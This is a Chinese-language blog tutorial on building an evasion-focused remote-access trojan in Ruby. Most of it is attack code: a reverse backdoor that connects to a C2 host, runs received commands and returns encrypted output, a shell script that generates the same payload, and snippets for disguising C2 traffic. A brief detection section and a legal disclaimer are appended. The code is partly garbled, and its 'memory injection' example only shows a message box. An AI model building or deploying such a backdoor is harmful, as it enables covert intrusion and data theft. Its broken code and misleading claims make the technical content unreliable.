一、从勒索攻击说起

近期,一家全球知名企业因遭受网络攻击而陷入瘫痪。后续调查发现,攻击者利用了一种高度隐秘的免杀远控木马,绕过了多种主流的EDR和杀毒软件。企业内网的敏感数据被窃取,且攻击者在网络中潜伏了数月未被发现。这一事件再次让安全团队意识到远控木马免杀技术的威胁。这篇文章将深入探讨如何构造免杀远控木马,并分享技术细节和实战心得。

---

0x01 攻击者的思维:绕过防御的核心

要理解远控木马的免杀技术,首先要从攻击者的视角出发:如何构造一个能够隐秘运行的载荷,同时绕过各种检测机制?一般来说,攻击者会从以下几个维度进行优化:

  • 混淆与加密:使用代码混淆和加密技术隐藏恶意逻辑;
  • 内存加载:直接加载到目标进程内存中,避免硬盘落地;
  • 系统 API 滥用:利用合法的系统 API 实现恶意功能,降低可疑性;
  • 流量伪装:采用类似HTTPS加密或其他协议伪装C2通信流量;
  • 动态编译与运行:生成随攻击环境变化的动态载荷,避免特征匹配。

基于这些思路,我们来探讨如何从零开始搭建一个免杀远控木马。

---

0x02 构造实验环境:模拟攻防场景

为了实验免杀技术的效果,我们需要搭建一个攻防环境。以下是一个简单的环境设置方案:

环境准备

  1. 攻击机:安装 Kali Linux 或 Parrot OS,用于开发和测试免杀木马。
  2. 目标机:Win10/Win11,关闭Windows Defender,并安装主流EDR软件(如CrowdStrike、Carbon Black)。
  3. C2服务器:一台具有公网IP的VPS,用于远控通信。

核心工具

  • 远控框架:Metasploit、Sliver 或自开发的木马(我们选择 Ruby 开发)
  • 混淆工具:Shell script 和加密工具(如AES加密)
  • 检测工具:Sysmon、Wireshark,用于流量和行为分析。

搭建好环境后,我们可以开始构造免杀木马。

---

0x03 Payload构造的艺术:Ruby与Shell的结合

我们选用 Ruby 作为主要木马构造语言。Ruby 的灵活性和简洁性使其非常适合快速开发和测试。同时,通过 Shell 脚本进行辅助,可以实现更强的免杀能力。

Ruby木马代码

以下是一个基础的远控木马代码,用 Ruby 实现:

<pre><code class="language-ruby">require &#039;socket&#039; require &#039;openssl&#039;

黑客示意图

配置 C2 地址和端口

C2_HOST = &#039;your-c2-server.com&#039; C2_PORT = 443

加密传输,使用 AES

def encrypt(data, key) cipher = OpenSSL::Cipher::AES.new(256, :CBC) cipher.encrypt cipher.key = key cipher.iv = key[0..15] cipher.update(data) + cipher.final end

def decrypt(data, key) decipher = OpenSSL::Cipher::AES.new(256, :CBC) decipher.decrypt decipher.key = key decipher.iv = key[0..15] decipher.update(data) + decipher.final end

建立与 C2 的通信

begin key = &#039;th1s1s4s3cretk3y!&#039; # 密钥硬编码(可动态生成) socket = TCPSocket.new(C2_HOST, C2_PORT)

初始握手

socket.puts encrypt(&quot;HELLO_FROM_CLIENT&quot;, key)

while true data = socket.gets cmd = decrypt(data.chomp, key) output = #{cmd} # 执行系统命令 socket.puts encrypt(output, key) end rescue =&gt; e puts &quot;Connection failed: #{e.message}&quot; ensure socket.close if socket end</code></pre>

Shell混淆代码

为了进一步混淆和免杀,我们可以通过 Shell 动态生成 Ruby 木马代码:

<pre><code class="language-bash">#!/bin/bash

动态生成 Ruby 木马

echo &quot;Generating Ruby payload...&quot; cat &lt;&lt;EOF &gt; payload.rb require &#039;socket&#039; require &#039;openssl&#039;

C2_HOST = &#039;your-c2-server.com&#039; C2_PORT = 443 key = ENV[&#039;PAYLOAD_KEY&#039;] # 从环境变量读取密钥

def encrypt(data, key) cipher = OpenSSL::Cipher::AES.new(256, :CBC) cipher.encrypt cipher.key = key cipher.iv = key[0..15] cipher.update(data) + cipher.final end

黑客示意图

def decrypt(data, key) decipher = OpenSSL::Cipher::AES.new(256, :CBC) decipher.decrypt decipher.key = key decipher.iv = key[0..15] decipher.update(data) + decipher.final end

begin socket = TCPSocket.new(C2_HOST, C2_PORT) socket.puts encrypt(&quot;HELLO_FROM_CLIENT&quot;, key) while true data = socket.gets cmd = decrypt(data.chomp, key) output = #{cmd} socket.puts encrypt(output, key) end rescue =&gt; e puts &quot;Connection failed: #{e.message}&quot; ensure socket.close if socket end EOF

echo &quot;Payload generated successfully!&quot;</code></pre>

该 Shell 脚本动态生成的 Ruby 木马会读取环境变量中的密钥,从而避免硬编码的特征。

---

0x04 绕过检测:免杀技术的核心

构造好木马后,下一步是绕过EDR和杀毒软件。以下是几种核心免杀技术:

1. 内存加载

通过工具(如Reflective DLL Injection)直接将木马加载到目标进程的内存中,不在硬盘上留下任何痕迹。

Ruby 代码实现:

<pre><code class="language-ruby"># 使用 FFI 库加载 DLL 到内存 require &#039;ffi&#039;

module Inject extend FFI::Library ffi_lib &#039;user32&#039; attach_function :MessageBoxA, [:pointer, :string, :string, :uint], :int end

调用目标进程的 MessageBoxA

Inject.MessageBoxA(nil, &quot;Payload loaded successfully!&quot;, &quot;Info&quot;, 0)</code></pre>

2. 动态加密

在传输中动态生成加密密钥,避免固定的特征被检测:

<pre><code class="language-ruby">require &#039;securerandom&#039;

key = SecureRandom.hex(16) # 动态生成 256-bit 密钥 puts &quot;Generated key: #{key}&quot;</code></pre>

3. 流量伪装

使用合法的协议(如HTTPS)伪装通信流量,提升隐蔽性。可以通过 Ruby 的 OpenSSL 库实现:

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;openssl&#039;

uri = URI(&quot;https://your-c2-server.com&quot;) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE

request = Net::HTTP::Post.new(uri) request.body = encrypt(&quot;PING&quot;, key) response = http.request(request) puts decrypt(response.body, key)</code></pre>

---

0x05 攻与防的博弈:检测与反制

黑客示意图

对于安全团队而言,免杀远控木马的检测非常困难,但以下方法可以降低风险:

1. 行为异常检测

通过 Sysmon 和事件分析,发现异常行为。例如:频繁的内存映射、异常的网络连接。

2. 流量分析

使用 Wireshark,对C2通信流量进行分析。尽管攻击者可能使用HTTPS加密,但可以排查目标IP和域名。

3. 沙箱分析

将疑似文件放入动态分析沙箱中,观察其行为和网络通信模式。

---

0x06 深入的个人经验分享

从我的经验来看,构造免杀远控木马的关键在于灵活性和动态性。攻击者不会满足于一种固定的技术,而是不断调整策略以绕过防御。因此,作为安全工程师,我们不能仅仅依赖工具,还需要培养攻击者的思维,才能更全面地应对威胁。

最后提醒大家,任何涉及免杀技术的研究都必须严格遵守法律,禁止在未经授权的情况下使用相关技术,否则可能承担法律风险。

黑客示意图